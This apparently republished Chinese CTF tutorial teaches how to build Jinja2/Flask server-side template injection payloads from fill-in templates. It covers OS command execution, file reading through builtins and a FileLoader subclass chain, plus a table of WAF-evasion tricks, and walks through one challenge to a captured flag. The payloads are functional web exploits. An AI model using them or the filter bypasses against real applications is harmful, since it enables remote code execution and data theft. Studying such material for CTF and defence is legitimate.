当前位置: 首页 > news >正文

SSTI攻击链构造手册(带WAF绕过)

SSTI攻击链构造手册 - 从看懂到自己写

适用人群:能看懂payload但自己写不出来的同学
核心目标:给你一个"填空模板",照着填就能构造出payload
作者:K1NG(原创)


一、核心问题:为什么你写不出来?

你的现状

看到payload:哦,我懂了! 自己写:呃...先写什么来着?这个attr放哪?引号怎么配对?

原因

不是你笨,是你缺一个固定模板。就像做菜,你看了100道菜谱,但如果没人告诉你"先热油、再放葱、最后放菜"的顺序,你还是不会做。

解决方案

记住一个5步攻击链,每次做题照着走:


二、SSTI五步攻击链(背下来!)

第1步:验证漏洞 → 确认有SSTI 第2步:信息收集 → 看config里有没有flag 第3步:选择武器 → 决定用哪条链 第4步:构造payload → 按模板填空 第5步:绕过WAF → 遇到过滤就替换

三、每一步详细操作

第1步:验证漏洞

目标:确认网站有SSTI漏洞

操作:输入{{7*7}}

判断

  • 返回49→ 有SSTI,继续
  • 返回{{7*7}}→ 没有SSTI(原样输出)
  • 返回BLOCKED→ 有WAF,看第5步

第2步:信息收集

目标:看flag藏在哪

按顺序试这三个

试1:{{config}} → 找 SECRET_KEY,如果有flag值 → 直接拿到了! 试2:{{url_for.__globals__['os'].popen('ls').read()}} → 看文件列表,有flag文件 → cat它 试3:{{url_for.__globals__['os'].popen('env').read()}} → 看环境变量,有FLAG= → 直接拿到

如果没有WAF,这三个就够了!90%的题用试2就能解。


第3步:选择武器(核心!)

有3条攻击链,按优先级选

武器A:RCE万能指令(最常用,先试这个)
{{url_for.__globals__['os'].popen('命令').read()}}

什么时候用:没有WAF,或WAF较弱

用法:把"命令"换成lscat flagenv


武器B:open读文件(WAF拦了os/popen时用)
{{lipsum.__globals__['__builtins__']['open']('/flag').read()}}

什么时候用:os被拦、popen被拦,但open没被拦

链路

lipsum → __globals__ → __builtins__ → open → 读文件 → read

武器C:类继承链+FileLoader(全被拦时用)
{{().__class__.__bases__[0].__subclasses__()[91].get_data(0,'/flag')}}

什么时候用:连open都被拦,但FileLoader能用

链路

() → __class__ → __bases__[0] → __subclasses__()[91] → get_data → 读文件

第4步:构造payload(填空模板!)

这是最关键的一步。payload不是乱写的,有固定结构。

模板结构(像写信一样有格式)
{%动作%} 对象 |方法1 |方法2 |方法3 (参数) |方法4 (参数) %}

翻译成人话:

{%print%} 入口点 |attr("钥匙1") |attr("钥匙2") ("开锁密码") |attr("钥匙3") ("文件名") |attr("钥匙4")() %}
具体填空(以武器B为例)

你要读 /flag 文件,一步步填

第1空:入口点 → lipsum(固定,不用想) 第2空:第一把钥匙 → __globals__(固定,进入全局变量) 第3空:第二把钥匙 → __getitem__(固定,用来取值) 第4空:开锁密码1 → __builtins__(固定,进入内置函数库) 第5空:第三把钥匙 → __getitem__(固定,再取值) 第6空:开锁密码2 → open(要用的函数) 第7空:文件名 → /flag(要读的文件) 第8空:最后一把钥匙 → read(读取内容)

填入模板

{%print lipsum|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("open")("/flag")|attr("read")()%}
记住这个骨架!
{%print 入口|attr(钥匙)|attr(钥匙)(密码)|attr(钥匙)(密码)|attr(钥匙)(目标)|attr(钥匙)()%} ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ lipsum globals getitem builtins getitem open /flag read

第5步:绕过WAF(替换表)

核心原则:WAF拦什么,你就拆什么。

替换对照表(贴在桌上看!)
被拦的替换成原理
{{ }}{%print %}用print语句替代输出
.(点号)|attr("xxx")用过滤器替代点号
__\x5f\x5fhex编码绕过
__"_"~"_"字符串拼接绕过
被拦的关键字"前半"~"后半"拆成两半用~拼接
'(单引号)"(双引号)换一种引号
[](中括号)|attr("__getitem__")()用方法替代
{{}}被拦{%if 条件%}结果{%endif%}用if语句
绕过的万能公式
任何被拦的关键字 → 拆成两半,中间加 ~

举例:

open 被拦 → "op"~"en" flag 被拦 → "fl"~"ag" read 被拦 → "re"~"ad" globals 被拦 → "glob"~"als" builtins 被拦 → "built"~"ins" __ 被拦 → \x5f\x5f

四、实战演练:从零构造WAF题payload

用刚做的那道WAF题,演示怎么从零构造:

题目信息

  • 网址:http://118.178.137.13:33007/greet
  • 参数:name
  • WAF拦截:{{__ospopenopenreadflagglobalsbuiltinsconfig

构造过程

第1步:验证
输入 {{7*7}} → BLOCKED: found '{{'

{{}}被拦,换{%print%}

输入 {%print 7*7%} → 返回49 ✓
第2步:试config
输入 {%print config%} → BLOCKED: found 'config'

→ config被拦,放弃,直接上RCE

第3步:选武器

试武器A(RCE):

{%print url_for.__globals__['os'].popen('ls').read()%} → BLOCKED: found '__' → BLOCKED: found 'os' → BLOCKED: found 'popen'

太多被拦,换武器B(open)。

第4步:构造武器B的payload

先写不带绕过的原始版

{%print lipsum.__globals__['__builtins__']['open']('/flag').read()%}

然后逐个替换被拦的部分

原始被拦?替换成
.没测,先换|attr("xxx")
__globals____globals被拦|attr("\x5f\x5fglob"~"als\x5f\x5f")
['__builtins__']__builtins被拦|attr("\x5f\x5fgetit"~"em\x5f\x5f")("\x5f\x5fbuilt"~"ins\x5f\x5f")
['open']open被拦|attr("\x5f\x5fgetit"~"em\x5f\x5f")("op"~"en")
('/flag')flag被拦("/fl"~"ag")
.read().read被拦|attr("re"~"ad")()

最终拼接结果

{%print lipsum|attr("\x5f\x5fglob"~"als\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("\x5f\x5fbuilt"~"ins\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("op"~"en")("/fl"~"ag")|attr("re"~"ad")()%}
第5步:验证
发送 → flag{2cbe47b7-a66b-46fd-841b-d026fab105c9} ✓

五、payload构造速查卡(贴桌上的!)

5.1 三条武器链对照

武器A(RCE,最简单): {%print url_for|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("o"~"s")|attr("pop"~"en")("命令")|attr("re"~"ad")()%} 武器B(open读文件): {%print lipsum|attr("\x5f\x5fglob"~"als\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("\x5f\x5fbuilt"~"ins\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("op"~"en")("/fl"~"ag")|attr("re"~"ad")()%} 武器C(FileLoader): {%print ()|attr("\x5f\x5fcl"~"ass\x5f\x5f")|attr("\x5f\x5fba"~"ses\x5f\x5f")|first|attr("\x5f\x5fsub"~"classes\x5f\x5f")()|attr("pop")(91)|attr("get"~"_data")(0,"/fl"~"ag")%}

5.2 常用命令填空

看文件列表: popen("ls") 看根目录: popen("ls /") 读文件: popen("cat /fl"~"ag") 看环境变量: popen("env") 搜索文件: popen("find / -name fl"~"ag*")

5.3 绕过填空模板

原始代码: 被拦关键字.方法(参数) ↓ 绕过版: 入口|attr("\x5f\x5f拆"~"开\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("拆"~"开") 规则: 1. . → |attr() 2. __ → \x5f\x5f 3. 关键字 → "前半"~"后半" 4. [] → |attr("\x5f\x5fgetitem\x5f\x5f")() 5. {{}} → {%print %}

六、做SSTI题的完整流程图

开始 ↓ 输入 {{7*7}} ↓ 返回49?──No──→ 不是SSTI,换题 ↓Yes 有WAF? ↓Yes 测试WAF拦了什么(逐个关键字测试) ↓ {{}}被拦?→ 用{%print%} .被拦? → 用|attr() __被拦? → 用\x5f\x5f 关键字被拦?→ 用"前半"~"后半"拼接 ↓ 构造payload(按5.1的模板填空) ↓ 试武器B(open读文件) ↓ 失败?→ 试武器C(FileLoader) ↓ 拿到flag! ↓ 没WAF? ↓Yes 直接用武器A:{{url_for.__globals__['os'].popen('cat /flag').read()}} ↓ config有flag?→ 直接{{config}} ↓ 文件有flag? → cat flag ↓ 环境变量有? → env ↓ 搞定!

七、练习建议

7.1 背诵清单

把这4行背下来,做题时往里填:

1. 验证:{%print 7*7%} 2. RCE:{%print url_for|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("命令")|attr("read")()%} 3. open:{%print lipsum|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("open")("/flag")|attr("read")()%} 4. FileLoader:{%print ()|attr("__class__")|attr("__bases__")|first|attr("__subclasses__")()|attr("pop")(91)|attr("get_data")(0,"/flag")%}

7.2 练习方法

  1. 先背模板(不绕过的版本)
  2. 每次做题,先写不绕过的原始版
  3. 再逐个替换被拦的部分
  4. 记住:先写对,再绕过

7.3 常见错误

  • ❌ 一上来就写绕过版,自己都看不懂
  • ✅ 先写原始版,确认链路对,再逐个绕过
  • ❌ 忘记引号配对
  • ✅ 用双引号,避免和单引号混淆

八、一句话总结

SSTI payload不是"写"出来的,是"填空"填出来的。

记住模板 → 填入口点和目标 → 遇到WAF就替换 → 搞定。

http://www.cnnetsun.cn/news/3148292.html

相关文章:

  • 创客指南:oDrive X2212电机从零到闭环的完整配置流程
  • 2026外贸获客渠道全面洗牌:AI正在重新分配全球流量,你的品牌在答案里吗?
  • 香农公式极限推导
  • R语言多分类Logistic回归变量筛选实战:最优子集与逐步回归
  • 【硬件+APP+云平台】9.智能洗衣系统-WiFi-基于STM32嵌入式物联网单片机软硬件毕业生系统设计
  • 2026免费好用的去水印软件推荐:电脑手机在线工具优缺点对比
  • 题解:洛谷 B4554 [GESP202606 二级] 菱形
  • 基于EGEUNet的烟叶病害智能识别系统设计与实现
  • 如何免费下载国家中小学智慧教育平台电子课本PDF:完整指南
  • LSTM 超参数网格搜索:记忆单元、批次大小与 Dropout 的 3 维对比实验
  • Java毕业设计-基于 JavaWeb 的美容美发管理系统的设计与实现 美容院会员消费预约管理系统(源码+LW+部署文档+全bao+远程调试+代码讲解等)
  • 国产大模型生存四道生死线:成本、适配、进化与变现
  • gInk:让屏幕标注像呼吸一样自然的数字画笔
  • pytest-order插件详解:精准控制Python测试用例执行顺序
  • 开源大模型选型指南:Qwen2、Llama 3与DeepSeek技术对比解析
  • 3分钟解决Windows连接iPhone网络共享的终极方案
  • 终极指南:Windows风扇控制神器FanControl,免费打造静音高效PC散热系统
  • Java毕设选题推荐:校园作业发布与家长查询管理系统的设计与实现 家校消息通知与学生考勤公示系统【附源码、mysql、文档、调试+代码讲解+全bao等】
  • 从零实现SHA-1哈希算法:原理、代码与性能优化实战
  • mba学位论文怎么选题
  • GetQzonehistory:用Python技术找回你消失的QQ空间记忆
  • 23-AGENTS.md高级用法
  • IIM-42652与PIC18F56K42实现6DoF运动追踪方案
  • 大数据转大模型:换个角度把工具链跑成稳定流程,把核心能力写进作品集
  • 如何通过3个创新策略解决Windows风扇控制难题?FanControl终极指南
  • 手机号找回QQ号码的完整指南:3步解决账号遗忘难题
  • 3个理由告诉你为什么这款Android VNC客户端让远程控制变得如此简单
  • LSTM与GRU门控机制实战选型指南:时序建模的工业权衡
  • YOLO目标检测从入门到精通:原理演进与YOLOv8实战指南
  • CVE-2024-50623漏洞复现:从任意文件上传到服务器控制实战解析